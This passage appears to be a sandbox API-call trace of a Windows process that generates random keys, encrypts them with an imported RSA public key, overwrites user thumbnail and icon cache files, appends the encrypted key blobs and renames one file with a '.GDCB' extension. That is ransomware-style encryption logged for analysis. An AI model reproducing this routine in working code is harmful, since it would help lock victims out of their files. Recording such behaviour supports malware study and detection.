dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.616] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.616] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.616] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.618] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.618] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.618] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0186.620] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fad8) returned 1 [0186.620] CryptGetKeyParam (in: hKey=0x4f7fad8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.620] CryptEncrypt (in: hKey=0x4f7fad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.620] GetLastError () returned 0x0 [0186.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.620] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.622] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f5d8) returned 1 [0186.623] CryptGetKeyParam (in: hKey=0x4f7f5d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.623] CryptEncrypt (in: hKey=0x4f7f5d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.624] GetLastError () returned 0x0 [0186.624] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0186.626] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5e40000 [0186.627] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5e50000 [0186.627] ReadFile (in: hFile=0x514, lpBuffer=0x5e50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5e50000*, lpNumberOfBytesRead=0x285d3e8*=0x18, lpOverlapped=0x0) returned 1 [0186.636] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f60000 [0186.637] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5f70000 [0186.638] VirtualFree (lpAddress=0x5f60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.639] SetFilePointer (in: hFile=0x514, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.639] WriteFile (in: hFile=0x514, lpBuffer=0x5f70000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5f70000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0186.639] VirtualFree (lpAddress=0x5f70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.640] VirtualFree (lpAddress=0x5e50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.643] WriteFile (in: hFile=0x514, lpBuffer=0x5e20000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e20000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.643] WriteFile (in: hFile=0x514, lpBuffer=0x5e30000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e30000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0186.643] WriteFile (in: hFile=0x514, lpBuffer=0x5e40000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5e40000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0186.643] CloseHandle (hObject=0x514) returned 1 [0186.644] VirtualFree (lpAddress=0x5e40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.645] VirtualFree (lpAddress=0x5e20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.647] VirtualFree (lpAddress=0x5e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0186.648] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide.db.gdcb")) returned 1 [0186.651] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.653] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.653] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.653] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.653] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.655] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.655] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.656] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.658] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f958) returned 1 [0186.658] CryptGetKeyParam (in: hKey=0x4f7f958, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.658] CryptEncrypt (in: hKey=0x4f7f958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.658] GetLastError () returned 0x0 [0186.658] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.658] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0186.660] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f998) returned 1 [0186.660] CryptGetKeyParam (in: hKey=0x4f7f998, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.660] CryptEncrypt (in: hKey=0x4f7f998, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.660] GetLastError () returned 0x0 [0186.660] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.660] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\iconcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\iconcache_wide_alternate.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.663] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.665] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.666] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.666] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.666] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.666] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.667] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.667] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.667] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.667] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.668] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0186.670] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fb58) returned 1 [0186.670] CryptGetKeyParam (in: hKey=0x4f7fb58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.670] CryptEncrypt (in: hKey=0x4f7fb58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.670] GetLastError () returned 0x0 [0186.670] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.670] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.672] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fb98) returned 1 [0186.672] CryptGetKeyParam (in: hKey=0x4f7fb98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.672] CryptEncrypt (in: hKey=0x4f7fb98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.672] GetLastError () returned 0x0 [0186.672] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.672] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_16.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_16.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.676] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.678] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.679] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.679] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.679] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.679] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.680] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.680] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.680] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.681] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0186.683] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fcd8) returned 1 [0186.683] CryptGetKeyParam (in: hKey=0x4f7fcd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.683] CryptEncrypt (in: hKey=0x4f7fcd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.683] GetLastError () returned 0x0 [0186.683] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.683] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0186.685] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fa18) returned 1 [0186.685] CryptGetKeyParam (in: hKey=0x4f7fa18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.685] CryptEncrypt (in: hKey=0x4f7fa18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.685] GetLastError () returned 0x0 [0186.685] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.685] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_256.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.690] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.692] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.692] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.692] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.692] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.693] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.694] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.694] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.694] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.694] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.696] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f6d8) returned 1 [0186.697] CryptGetKeyParam (in: hKey=0x4f7f6d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.697] CryptEncrypt (in: hKey=0x4f7f6d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5e80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.697] GetLastError () returned 0x0 [0186.697] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.697] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.699] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fa58) returned 1 [0186.699] CryptGetKeyParam (in: hKey=0x4f7fa58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.699] CryptEncrypt (in: hKey=0x4f7fa58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5e90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5e90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.699] GetLastError () returned 0x0 [0186.699] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.699] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_32.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.703] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0186.705] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.706] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.706] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0186.706] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0186.707] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.708] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.708] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.708] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0186.708] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0186.710] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7f618) returned 1 [0186.712] CryptGetKeyParam (in: hKey=0x4f7f618, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.712] CryptEncrypt (in: hKey=0x4f7f618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ea0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5ea0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0186.713] GetLastError () returned 0x0 [0186.713] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0186.713] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.715] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fbd8) returned 1 [0186.715] CryptGetKeyParam (in: hKey=0x4f7fbd8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0186.715] CryptEncrypt (in: hKey=0x4f7fbd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5eb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5eb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0186.715] GetLastError () returned 0x0 [0186.715] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.715] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_48.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0186.720] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0186.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.722] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0186.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0186.722] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0186.723] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0186.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0186.724] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0186.724] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0186.724] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0186.726] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f7fc58) returned 1 [0186.726] CryptGetKeyParam (in: hKey=0x4f7fc58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, 